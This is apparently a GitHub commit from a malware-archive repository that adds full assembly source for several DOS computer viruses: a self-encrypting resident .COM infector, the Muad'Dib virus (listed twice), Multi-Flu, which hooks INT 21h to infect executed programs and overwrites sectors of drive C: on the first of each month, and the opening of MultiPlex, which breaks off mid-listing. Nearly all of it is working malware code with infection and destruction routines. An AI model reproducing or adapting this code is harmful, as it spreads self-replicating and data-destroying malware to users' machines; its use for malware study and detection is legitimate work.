Add files via upload

This commit is contained in:
vxunderground 2021-01-12 17:52:14 -06:00 committed by GitHub
parent 14e07ba726
commit f76af55eb4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
99 changed files with 49478 additions and 0 deletions

View File

@ -0,0 +1,386 @@
;******************************************************************************
;******************************************************************************
;**** Virus: .COM /noTBAV ****
;**** By: Ramthes Jones ****
;******************************************************************************
;******************************************************************************
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:CODE
ORG 0100h
DELTA EQU (TWO - ONE)
START:
JMP VIR_START
NOP
MOV AH,09h
MOV DX,OFFSET MSG
PUSH CS
POP DS
INT 21h
INT 20h
MSG DB 0Ah,0Dh,'Virus Mr-X activado!!!',0Ah,0Dh
DB 'Por favor no ejecute ningun archivo. Je, je, je...',0Ah,0Dh,'$'
VIR_START:
ONE LABEL BYTE
MOV BX,015Dh
PUSH BX
MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1; Conocido
ADD SI,BX
MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1; Conocido
MOV DX,0FFCDh ; FFCD = INT FFh
CLI
BUCLE:
MOV AH,[SI]
XOR AH,00h
DB 06 DUP (90h)
MOV [bx+30],DX
INTFFh LABEL WORD
MOV [SI],AH
MOV [bx+30],2488h
INC SI
LOOP BUCLE
STI
JMP ATBV
JODER:
MOV AH,4Ch
INT 21h
ATBV:
MOV AH,30h
INT 21h
BEGIN:
MOV AX,0ACACh
INT 21h
CMP AX,0CACAh
JE RUN_COM
JMP STAY_IN_MEMO
RUN_COM:
PUSH CS
PUSH CS
POP DS
POP ES
POP BX
MOV DI,100h
LEA SI,[(NORMAL - OFFSET ONE) + BX]
MOVSW
MOVSB
PUSH CS
PUSH 0100h
RETF
STAY_IN_MEMO:
MOV AH,4Ah
XOR BX,BX
INT 21h
MOV AH,4Ah
MOV BX,0FFFFh
INT 21h
SUB BX,61h ;101h
MOV AH,4Ah
INT 21h
MOV AH,48h
MOV BX,60h ;100h
INT 21h
MOV ES,AX
PUSH ES
DEC AX
MOV ES,AX
MOV ES:WORD PTR [0001h], 0008h
POP ES
PUSH CS
POP DS
POP SI
PUSH SI
XOR DI,DI
MOV CX,DELTA
CLD
REP MOVSB
PUSH ES
POP DS
MOV AX,3521h
INT 21h
POP SI
PUSH SI
MOV DS:[INT21IP - OFFSET ONE],BX
MOV DS:[INT21CS - OFFSET ONE],ES
MOV AX,2521h
MOV DX,(OFFSET HOOK_21 - OFFSET ONE)
INT 21h
JMP RUN_COM
HOOK_21 PROC FAR
PUSH DS
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CMP AX,4B00h
JE INFECT_COM
CMP AX,0ACACh
JE GIVE_MARK
JMP FIN
GIVE_MARK:
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
POP DS
MOV AX,0CACAh
IRET
INFECT_COM:
PUSH AX
PUSH BX
PUSH DX
PUSH DS
PUSH ES
MOV AX, CS
MOV DS, AX
MOV AX,3524h
PUSHF
CALL DWORD PTR DS:[INT21IP - OFFSET ONE]
MOV DS:[INT24IP - OFFSET ONE],BX
MOV DS:[INT24CS - OFFSET ONE],ES
MOV AX,2524h
MOV DX,(OFFSET HOOK_24 - OFFSET ONE)
PUSHF
CALL DWORD PTR DS:[INT21IP - OFFSET ONE]
POP ES
POP DS
POP DX
POP BX
POP AX
PUSH DX
MOV AX,4300h
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV CS:[(ATRIBUTOS - OFFSET ONE)],CX
MOV AX,4301h
MOV CX,20h
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
JC FINAL_1
MOV AX,3D02h
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
PUSH AX
POP BX
MOV AH,3Fh
MOV CX,2
PUSH CS
POP DS
MOV DX,(OFFSET NORMAL - OFFSET ONE)
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
XOR SI,SI
mov ax,cs:(normal - offset one)[si]
cmp ax,'ZM'
je final_1
jmp conti
FINAL_1:
JMP FINAL
CONTI:
MOV AX,5700h
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV CS:[(HORA - OFFSET ONE)],CX
MOV CS:[(FECHA - OFFSET ONE)],DX
AND CL,00011111b ; Esto es lo correcto para comprobar
CMP CL,00001101b ; si los segundos son 26
JE FINAL_1
XOR AL,AL
CALL F_42h
MOV AH,3Fh
MOV CX,3
PUSH CS
POP DS
MOV DX,(OFFSET NORMAL - OFFSET ONE)
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV AL,02h
CALL F_42h
PUSH AX
SUB AX,3
MOV SI,1
MOV CS:(BUFFER - OFFSET ONE)[SI],AL
INC SI
MOV CS:(BUFFER - OFFSET ONE)[SI],AH
PUSH BX
MOV AH,48h
MOV BX,150h
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV ES,AX
POP BX
PUSH CS
POP DS
XOR SI,SI
MOV DI,SI
MOV CX,OFFSET TWO - OFFSET ONE
CLD
REP MOVSB
PUSH ES
POP DS
POP AX ; Calculo
INC AH ; la direccion
XOR SI,SI ; donde va a
MOV [SI + 1],AL ; comenzar el
MOV [SI + 2],AH ; arch infectado
MOV AH,2Ch
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV [SI+20],DL
MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1
MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1
ENCRIPTO:
XOR ES:[SI],DL
INC SI
LOOP ENCRIPTO
MOV AH,40h
MOV CX,DELTA
XOR DX,DX
PUSH ES
POP DS
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
JC FINAL
MOV AH,49h
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
XOR AL,AL
CALL F_42h
MOV AH,40h
MOV CX,3
MOV DX,(OFFSET BUFFER - OFFSET ONE)
PUSH CS
POP DS
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV AX,5701h
MOV CX,CS:[(HORA - OFFSET ONE)]
AND CL,11100000b
OR CL,00001101b
MOV DX,CS:[(FECHA - OFFSET ONE)]
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
FINAL:
MOV AH,3Eh
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV AX,4301h
MOV CX,CS:[(ATRIBUTOS - OFFSET ONE)]
POP DX
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
MOV AX,2524h
MOV DX,CS:[INT24IP - OFFSET ONE]
MOV DS,CS:[INT24CS - OFFSET ONE]
PUSHF
CALL DWORD PTR CS:[INT21IP-OFFSET ONE]
FIN:
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
POP DS
JMP DWORD PTR CS:[(INT21IP - OFFSET ONE)]
F_42h PROC
MOV AH,42h
CWD
MOV CX,DX
PUSHF
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
RET
F_42h ENDP
HOOK_21 ENDP
HOOK_24 PROC
XOR AL,AL
IRET
HOOK_24 ENDP
INT21IP DW 0
INT21CS DW 0
INT24IP DW 0
INT24CS DW 0
INT17IP DW 0
INT17CS DW 0
ATRIBUTOS DW 0
HORA DW 0
FECHA DW 0
BUFFER DB 3 DUP(0E9h)
NORMAL DB 3 DUP(90h)
HIDDEN_MSG DB "Ramthes. World Cup'98: ARGENTINA!!"
TWO LABEL BYTE
CODE ENDS
END START

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,213 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
; MUAD'DIB VIRUS ;
;****************************************************************************;
ideal
model tiny
codeseg
org 100h
top: db 'CP'
db 058h,04bh
jmp near main
nop
nop
nop
mov dx,offset _warn
mov ah,9
int 21h
mov ax,04c00h
int 21h
_warn db 'Deze file was besmet met het Muad''dib Virus$'
main: push ax
push bx
push cx
push dx
push di
push si
push es
push ds
call dummy
dummy: pop bx
mov si,bx
add si,200h ; Address of data!
lea dx,[si+6]
mov ah,1ah
int 21h ; Set DTA
mov dx,si
mov cl,0ffh
mov ah,04eh
int 21h ; Findfirst
jc noluck ; Nah, error
checkit:jmp is_ill
fnext: lea dx,[si + 6]
mov ah,04fh
int 21h
jc noluck
jmp checkit
noluck:
mov ax,[word si + 6 + 44] ; Current
mov [word cs:100h], ax
mov ax,[word si + 6 + 44 + 2]
mov [word cs:102h], ax
mov ax,[word si + 6 + 44 + 4]
mov [word cs:104h], ax
mov ax,[word si + 6 + 44 + 6]
mov [word cs:106h], ax
pop ds
pop es
pop si
pop di
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Goor!
push ax ; Maar 't werkt wel!
ret
is_ill:
lea dx,[si + 36] ; Name of file
; mov ah,9
; int 21h ; For information...
mov ah,03dh ; Fopen
mov al,2 ; RW-access
int 21h
jc fnext ; !?@!? Couldn't open
push ax
pop bx ; Handle
push bx
mov ah,3fh ; Read
mov cx,8 ; 8 please
lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf)
int 21h
cmp [word si + 6 + 44 + 8], 05043h ; Zick yet?
je issick ; YEAH!
pop bx
push bx
mov ax,04200h ; Moef vijlpointer
xor cx,cx
xor dx,dx ; 0L
int 21h ; Move filepointer
mov ax,[si + 6 + 26] ; Fsize
sub ax,7
mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
pop bx ; Handle
push bx
mov ah,40h ; Write
mov cx,8 ; 8 please
lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf)
int 21h
pop bx ; Handle
push bx
mov ax,04202h ; Moef vijlpointer (einde)
xor cx,cx
xor dx,dx ; 0L
int 21h ; Move filepointer
call swap
pop bx ; Handle
push bx
mov ah,40h ; Write
mov cx,1000 ; ADJUST
lea dx,[si - 200h - 11] ; Offset buffer
int 21h ; Wreit
call swap
close: pop bx
mov ah,03eh
int 21h
jmp noluck ; Ready!
issick: pop bx
mov ah,03eh
int 21h
jmp fnext
swap:
mov ax,[word si + 6 + 44]
xchg [word si + 6 + 44 + 8], ax
mov [word si + 6 + 44], ax
mov ax,[word si + 6 + 44 + 2]
xchg [word si + 6 + 44 + 8 + 2], ax
mov [word si + 6 + 44 + 2], ax
mov ax,[word si + 6 + 44 + 4]
xchg [word si + 6 + 44 + 8 + 4], ax
mov [word si + 6 + 44 + 4], ax
mov ax,[word si + 6 + 44 + 6]
xchg [word si + 6 + 44 + 8 + 6], ax
mov [word si + 6 + 44 + 6], ax
ret
org dummy + 200h
db '*.COM',0
db 44 dup ('D')
db 8 dup (090h) ; Current buffer
db 8 dup ('C') ; Inf buffer
db 043h,050h,058h,04bh,0e9h
db 0,0,0,'$'
end top
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;

View File

@ -0,0 +1,213 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
; MUAD'DIB VIRUS ;
;****************************************************************************;
ideal
model tiny
codeseg
org 100h
top: db 'CP'
db 058h,04bh
jmp near main
nop
nop
nop
mov dx,offset _warn
mov ah,9
int 21h
mov ax,04c00h
int 21h
_warn db 'Deze file was besmet met het Muad''dib Virus$'
main: push ax
push bx
push cx
push dx
push di
push si
push es
push ds
call dummy
dummy: pop bx
mov si,bx
add si,200h ; Address of data!
lea dx,[si+6]
mov ah,1ah
int 21h ; Set DTA
mov dx,si
mov cl,0ffh
mov ah,04eh
int 21h ; Findfirst
jc noluck ; Nah, error
checkit:jmp is_ill
fnext: lea dx,[si + 6]
mov ah,04fh
int 21h
jc noluck
jmp checkit
noluck:
mov ax,[word si + 6 + 44] ; Current
mov [word cs:100h], ax
mov ax,[word si + 6 + 44 + 2]
mov [word cs:102h], ax
mov ax,[word si + 6 + 44 + 4]
mov [word cs:104h], ax
mov ax,[word si + 6 + 44 + 6]
mov [word cs:106h], ax
pop ds
pop es
pop si
pop di
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Goor!
push ax ; Maar 't werkt wel!
ret
is_ill:
lea dx,[si + 36] ; Name of file
; mov ah,9
; int 21h ; For information...
mov ah,03dh ; Fopen
mov al,2 ; RW-access
int 21h
jc fnext ; !?@!? Couldn't open
push ax
pop bx ; Handle
push bx
mov ah,3fh ; Read
mov cx,8 ; 8 please
lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf)
int 21h
cmp [word si + 6 + 44 + 8], 05043h ; Zick yet?
je issick ; YEAH!
pop bx
push bx
mov ax,04200h ; Moef vijlpointer
xor cx,cx
xor dx,dx ; 0L
int 21h ; Move filepointer
mov ax,[si + 6 + 26] ; Fsize
sub ax,7
mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
pop bx ; Handle
push bx
mov ah,40h ; Write
mov cx,8 ; 8 please
lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf)
int 21h
pop bx ; Handle
push bx
mov ax,04202h ; Moef vijlpointer (einde)
xor cx,cx
xor dx,dx ; 0L
int 21h ; Move filepointer
call swap
pop bx ; Handle
push bx
mov ah,40h ; Write
mov cx,1000 ; ADJUST
lea dx,[si - 200h - 11] ; Offset buffer
int 21h ; Wreit
call swap
close: pop bx
mov ah,03eh
int 21h
jmp noluck ; Ready!
issick: pop bx
mov ah,03eh
int 21h
jmp fnext
swap:
mov ax,[word si + 6 + 44]
xchg [word si + 6 + 44 + 8], ax
mov [word si + 6 + 44], ax
mov ax,[word si + 6 + 44 + 2]
xchg [word si + 6 + 44 + 8 + 2], ax
mov [word si + 6 + 44 + 2], ax
mov ax,[word si + 6 + 44 + 4]
xchg [word si + 6 + 44 + 8 + 4], ax
mov [word si + 6 + 44 + 4], ax
mov ax,[word si + 6 + 44 + 6]
xchg [word si + 6 + 44 + 8 + 6], ax
mov [word si + 6 + 44 + 6], ax
ret
org dummy + 200h
db '*.COM',0
db 44 dup ('D')
db 8 dup (090h) ; Current buffer
db 8 dup ('C') ; Inf buffer
db 043h,050h,058h,04bh,0e9h
db 0,0,0,'$'
end top
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;

View File

@ -0,0 +1,369 @@
; Virusname: Multi-Flu
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Multi-Flu's a resident infector of .COM files (w/the exception of
; COMMAND.COM when they're executed. If the date's the first of any
; month it'll overwrite 9999 sectors on the C: drive, thereby rendering
; it useless. After this it still goes resident though, just in case the
; user started the infected file from some other drive.
;
; To assembly this: Use Tasm Filename.asm
; Tlink Filename.obj
; Exe2bin Filename.exe Virus.com
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
SVIR EQU $ ; Start of FULL virus code
VLENGTH EQU EOV-SVIR ; Size of virus
GTHANG EQU 1994h ; Paragraphs from TOP O' MEM
; to put us
ENTRY: CALL GETDELTA ; Get the DELTA offset
NOP
GETDELTA:
POP BP
SUB BP,OFFSET(GETDELTA)-1 ; Calculate it
START PROC NEAR
CALL ROCKME ; Find total number o' paragraphs
SUB AX,GTHANG ; Get segment of where our copy
JMP PUSH_ME ; might be
db "COPY ME, SO I CAN TRAVEL!!!!!"
PUSH_ME:
PUSH AX
POP ES
JMP PUSH_ME_AGAIN_CAUSE_I_SAY_SO
db "Why am i so fly? ;)"
PUSH_ME_AGAIN_CAUSE_I_SAY_SO:
CALL MOVE_DA_LIL_BABE
PUSH CS
POP ES ; Get ID thang from segment
; (viral=
CALL FUNKY
ALREADY_IN_DA_MEM_THANG:
CMP CX,CS:[BP+OFFSET(TAG)] ; Already in memory?
JZ ORGIT ; If so, RET(urn) to org. proggy
JMP INSTALL ; Else, install us..
ORGIT: LEA SI,[BP+OFFSET(FIRSTCODE)]
MOV CX,SMILELEN
CALL FUNKY ; Lets 'FUNK' out :)
MOV DI,100h ; di equal 100h (sov)
REP MOVSB ; Copy org. bytes to da place
CALL FUNKY ; Yet anotha FUNK calling
MOV AX,100h ; AX = 100h
PUSH AX ; And push it....
RET ; Return to org. dude
MOVE_DA_LIL_BABE:
MOV CX,ES:TAG ; Is mah lil' grafitti tag here?
FUNKY: RET ; RET to code caller
INSTALL:
MOV AX,3521h ; Get vector (INT 21h)
INT 21h ; --------------^
CALL FUNKY
MOV CS:[BP+OFFSET(OLD21A)],BX ; Save the old one
MOV CS:[BP+OFFSET(OLD21B)],ES ; here right now
CALL FUNKY
CALL ROCKME ; See above in the code
SUB AX,GTHANG ; How much to put MEMRES
PUSH AX ; Mhmmm..
JMP PUSH_SOME_MORE_ONES
DB "Mmm.. Mmm.. Mmm.."
PUSH_SOME_MORE_ONES:
PUSH AX
POP ES ; Segment (destination)
JMP PUSH_THANG
DB "For the smell of it!!!!!"
PUSH_THANG:
PUSH CS
POP DS ; Segment (source)
CALL FUNKY
MOV SI,BP ; Start of virus = DELTA thang
MOV DI,0 ; Sub di,di or Xor di,di
JMP VIR_LEN_ME_NOW
db "MULTIMULTIMULTIMULTI"
VIR_LEN_ME_NOW:
MOV CX,OFFSET VLENGTH ; Virus length
REP MOVSB ; Move our lazy ass there
POP DS
MOV DX,OFFSET(VECTOR) ; Now, offset *OUR* INT21
CALL FUNKY
MOV AX,2521h ; Set vector (INT 21h)
INT 21h
PUSH CS
POP ES
CALL FUNKY
PUSH CS
POP DS ; Segments (reset)
MOV AH,2Ah ; Get date
INT 21h
CMP DL,1 ; First of any month?
JNE PHUNKSTER ; If not, go on as normal
; Else, NUKE!!!!!
FUCK_EM:
MOV AL,2 ; [C:] drive
MOV CX,270h ; 9999 sectors
CWD ; starting with the 'BOOT'
INT 26h ; Direct diskwrite
POPF
PHUNKSTER:
JMP ORGIT
START ENDP
ROCKME PROC NEAR
INT 12h ; Gimme total numba
jmp cx_me ; o' kilobytes mem
db "MULTI-FLU v1.0"
cx_me:
MOV CX,1024 ; one kilobyte equal 1024 bytes
jmp multi_kewl
db "(c) 1994 Metal Militia"
multi_kewl:
MUL CX ; a 'multiply' i guess
jmp seg_me
db "Immortal Riot"
seg_me:
MOV CX,16 ; Segment (16 bytes in each)
jmp div_kewl
db "Sweden"
div_kewl:
DIV CX ; Divide (AX & DX by CX)
RET ; Back to code caller
ROCKME ENDP
TSMILE EQU $
IRNOP: XCHG AX,AX ; Or.. shall we say, NOP!!!!!
DB 0BBh ; BX (MOV)
VMENOW DW 0 ; offset our code
PUSH BX ; push....
RET ; and jump to it
BSMILE EQU $
SMILELEN EQU BSMILE-TSMILE ; Length of this "procedure"
OLD21A DW 0
OLD21B DW 0 ;Original INT 21h vector
TEXTONE DB "M"
BUFFA DW 0 ; Infectioncheck buffa
TEXTTWO DB "U"
EXEPHILEZ DB 'MZ' ; To see if the file's and .EXE
TEXTTHREE DB "L"
OTHEREXEZ DB 'ZM' ; See above
COMMIECOM DB 0e9h, 0ddh ; Marker for COMMAND.COM in
; MSDOS v6.x (perhaps others too)
TEXTFOUR DB "T"
FIRSTCODE DB 0CDh
DB 20h ; Here we save the org. bytes
DB SMILELEN-2 DUP ('?')
TEXTFIVE DB "i"
OLDTIME DW 0
OLDDATE DW 0 ;Old file time and date
NOCHEINTEXT DB "FLU"
FAKEIT PROC NEAR ; It's used to call org. INT 21h
PUSHF
CALL DWORD PTR CS:OLD21A ; Call the original
RET ; RET to code caller
FAKEIT ENDP
VECTOR PROC NEAR ;INT 21h vector
NOP
CMP AX,4B00h ; Exec 'em?
JE VTRIGGA ; If so, infect
JMP DWORD PTR CS:OLD21A ; switch back to original INT21
VTRIGGA:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH ES
PUSH DS
PUSH BP ; Save all reg's
INFECT: MOV AX,3D02h ; READ/WRITE (open file)
CALL FAKEIT
XCHG BX,AX ; mov bx,ax
MOV AX,5700h ; save the
CALL FAKEIT
MOV CS:OLDTIME,CX ; original time
MOV CS:OLDDATE,DX ; and date here
JMP TIMER
DB "All viruswriters worldwide"
TIMER:
MOV CX,2 ; two bytes
JMP PUSH_IT_RIGHT_AT_THIS_MOMENT
db "are to be gratulated!!!!!"
PUSH_IT_RIGHT_AT_THIS_MOMENT:
PUSH CS
POP DS
JMP OPEN_DA_BUFFA_RIGHT_AWAY
DB "FLUFLUFLUFLU"
OPEN_DA_BUFFA_RIGHT_AWAY:
MOV DX,OFFSET BUFFA ; into this buffa
MOV AH,3Fh ; read 'em
CALL FAKEIT
JMP CHECK_IN_DA_BUFFA
DB "Written during SUMMERTIME!!!!!"
CHECK_IN_DA_BUFFA:
MOV DX,CS:BUFFA
CMP DX, WORD PTR [OFFSET IRNOP] ; Check if already infected
JE QUIT_IT ; if so, exit
CMP DX, WORD PTR [OFFSET EXEPHILEZ] ; Check if .EXE
JE QUIT_IT ; if so, exit
CMP DX, WORD PTR [OFFSET OTHEREXEZ] ; See above
JE QUIT_IT ; if so, exit
CMP DX, WORD PTR [OFFSET COMMIECOM] ; Check if COMMAND.COM
JNE KEEP_ON_SPREADING ; if not, infect the fucker
QUIT_IT:
JMP ENDINF ; Outa here (for now.. <g>)
KEEP_ON_SPREADING:
CALL SOF ; Goto start of file
MOV CX,SMILELEN ; Offset the code we'll have first in
JMP UNIROCKER ; infected file, and jmp
db "Happy happy! Joy joy!"
UNIROCKER:
MOV DX,OFFSET(FIRSTCODE) ; Offset da buffa
MOV AH,3Fh ; Read from it
CALL FAKEIT ; 'Fake' an INT 21h
CALL EOF ; Goto end of file
ADD AX,100h
JMP GO_FOR_IT
db "Winterkvist is"
GO_FOR_IT:
MOV CS:VMENOW,AX ; Branch (set up code offset)
MOV CX,VLENGTH ; Length of virus code
JMP WRITE_DA_VIRUS
db "a looser!!!!!"
WRITE_DA_VIRUS:
CWD ; Sub dx,dx or Xor dx,dx
MOV AH,40h ; Write it
CALL FAKEIT
CALL SOF ; FPOINTER thang
MOV CX,SMILELEN ;Length of branch code
JMP WRITE_FIRST_BYTES
db "Greetings to the rest"
WRITE_FIRST_BYTES:
MOV DX,OFFSET(IRNOP) ;Write the branch code
MOV AH,40h ;Write file or device
CALL FAKEIT
JMP ENDINF
db "of IMMORTAL RIOT"
ENDINF: MOV CX,OLDTIME
MOV DX,OLDDATE
JMP ORG_TIME_BACK
DB "This is property of IR"
ORG_TIME_BACK:
MOV AX,5701h ; restore original date/time
CALL FAKEIT
MOV AH,3Eh ; close the file
CALL FAKEIT
NO_FILE:
POP BP ; Pop all register (restore)
POP DS
POP ES
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
JMP DWORD PTR CS:OLD21A ; Mission completed, back to old
EOF:
MOV AX,4202h ; Goto end of file
JMP XOR_EM
SOF:
MOV AX,4200h ; Goto start of file
XOR_EM:
SUB CX,CX
CWD
CALL FAKEIT
RET ; RET to code caller
VECTOR ENDP
TAG DW 1234h ; Digi grafitti TAG for checking
; if it's already in memory
EOV EQU $ ; Here the fun ends guys
CODE ENDS
END

View File

@ -0,0 +1,283 @@
; Virusname: MultiPlex
; Alias(es): None
; Origin : Sweden
; Author : Metal Militia/Immortal Riot
;
; Thisone's a non-res/non-ow/non-encrypted infector of .COM files which
; travels thrue one directory on your harddrive each time an infected
; file's executed.
;
; I'ts damage routine will be activated if the date's equal to the fifth
; of any month. If so, it does an good 'ol 256 which does it's dirty
; work just as good as MULTI-FLU's 9999.
;
code segment
assume cs:code,ds:code,es:code
org 0100h
start_o_virus: mov si,0 ; sub/xor si,si
jmp mejntwo ; jump there
db 'IR'
lengthovir equ offset tag+5-offset mejntwo ; Length of virus
mejntwo: call nextline ; prepear to put ax in si (no 'BP' here)
nextline: pop ax ; Pop 'em
sub ax,offset nextline ; and offset
call xchg_it ; Now, exchange
mejnthree: call restore_one ; Restore the
call restore_two ; first original bytes
getdir: mov ah,47h ; Get (current) directory
mov dl,00h ; to restore it later
push si ; Now, push it
lea bx,(origindir+si) ; and offset the
mov si,bx ; place to save it in
int 21h
jc lexit ; If there's an error, exit
pop si ; Pop it
mov byte ptr ds:[rock+si],00h ; and set 'rock' to zero
setdta: mov ah,1ah ; Now, set the DTA (needed
lea dx,(buffa+si) ; to be able to execute
int 21h ; programs with 'choices')
findfile: lea dx,(searchein+si) ; What files to search for
call find_first ; Find first '*.com'
jnc openup ; If no error, infect
cmp al,12h ; Was there no files left?
jne lexit ; If not, outa here!!!!!
jmp next_dir ; Move to the next dir
lexit: jmp exit ; long exit jumps to small
openup: mov ah,3dh ; Open the file
mov al,02h
